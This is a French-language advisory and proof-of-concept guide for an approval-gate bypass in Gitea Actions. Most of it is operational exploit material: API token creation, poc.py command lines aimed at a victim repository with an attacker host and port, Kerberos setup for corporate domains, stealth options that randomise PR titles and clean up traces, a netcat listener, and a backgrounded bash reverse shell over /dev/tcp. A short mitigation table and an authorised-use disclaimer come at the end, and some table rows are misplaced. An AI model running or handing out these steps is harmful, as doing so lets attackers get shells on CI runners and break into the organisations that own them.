
Une faille dans la logique des portes d’approbation du serveur Git open source Gitea permet à une pull request provenant d’un fork permanent d’être fusionnée sans satisfaire aux portes d’approbation configurées du dépôt.
Sévérité : Élevée (CVSS 8.9) Versions affectées : Gitea ≤ 1.26.2 Corrigé dans : Gitea 1.26.3 Avis de sécurité : GHSA-777r-4v59-6486
Gitea Actions applique une passerelle d'approbation sur les exécutions de workflows déclenchées par des pull requests issues de forks. La passerelle est implémentée dans ifNeedApproval() et vise à empêcher les contributeurs non fiables d'exécuter du code arbitraire via les pipelines CI.
Le défaut vient du fait que ifNeedApproval() n'est appliquée correctement qu'à l'événement pull_request. Chaque type d'événement listé dans le bloc on: d'un workflow produit un objet ActionRun indépendant avec sa propre vérification d'approbation. Lorsqu'un attaquant élargit le bloc on: pour y inclure des événements comme pull_request_review, issue_comment ou pull_request_review_comment, ces exécutions sont lancées sans passer par la passerelle d'approbation.
Déclencher l'un de ces événements non protégés - par exemple, publier un commentaire de revue de PR - démarre immédiatement l'exécution du workflow sous le compte de service du runner, sans qu'aucune approbation de mainteneur ne soit requise.
La fonction ifNeedApproval() vérifie l'approbation sur la base de (repo_id, trigger_user_id) pour l'événement pull_request, mais n'applique pas cette vérification de manière cohérente à tous les types d'événements déclenchables.
Chemin vulnérable :
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Prérequis | Détail |
|---|---|
| Compte Gitea | Tout utilisateur authentifié disposant de la permission de fork |
| Dépôt cible | Gitea Actions doit être activé |
| Runner | act_runner doit être en ligne et enregistré |
| Réseau |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Via le navigateur : Settings -> Applications -> Generate Token
Scopes nécessaires : écriture dépôt + écriture issues.
Via l'API :
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Exécution :
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Pour les instances Gitea qui n'acceptent que Kerberos/SPNEGO (environnements Active Directory avec SSPI imposé). Doit être exécuté depuis un hôte joint au domaine avec un TGT valide.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Si la résolution DNS échoue, configurez /etc/krb5.conf :
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
Par défaut, act_runner est mono-worker. Si l'étape du reverse shell ne se termine pas proprement, le runner reste dans l'état « running » et ignore les nouveaux jobs.
Pour éviter cela, placez le shell en arrière-plan :
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Ou utilisez --custom-payload pour passer directement un one-liner démonisé.
ActionRun avec event=pull_request_review ou event=issue_comment provenant de PR issues de forkspull_request_review avec des étapes d'exécution shell| Action | Détail |
|---|---|
| Mise à niveau | Gitea 1.26.3+ corrige ce problème |
| Contournement | Désactiver Gitea Actions sur les dépôts avec des contributeurs non fiables |
| Audit | Examiner les PR issues de forks et les exécutions de workflows associées pour détecter des exécutions inattendues |
| Restriction |
Uniquement pour des tests de sécurité et des recherches autorisés. Ne pas utiliser contre des systèmes sans autorisation écrite explicite.
| L'hôte de l'attaquant doit être joignable depuis le runner |
| Limiter les permissions de fork aux utilisateurs de confiance |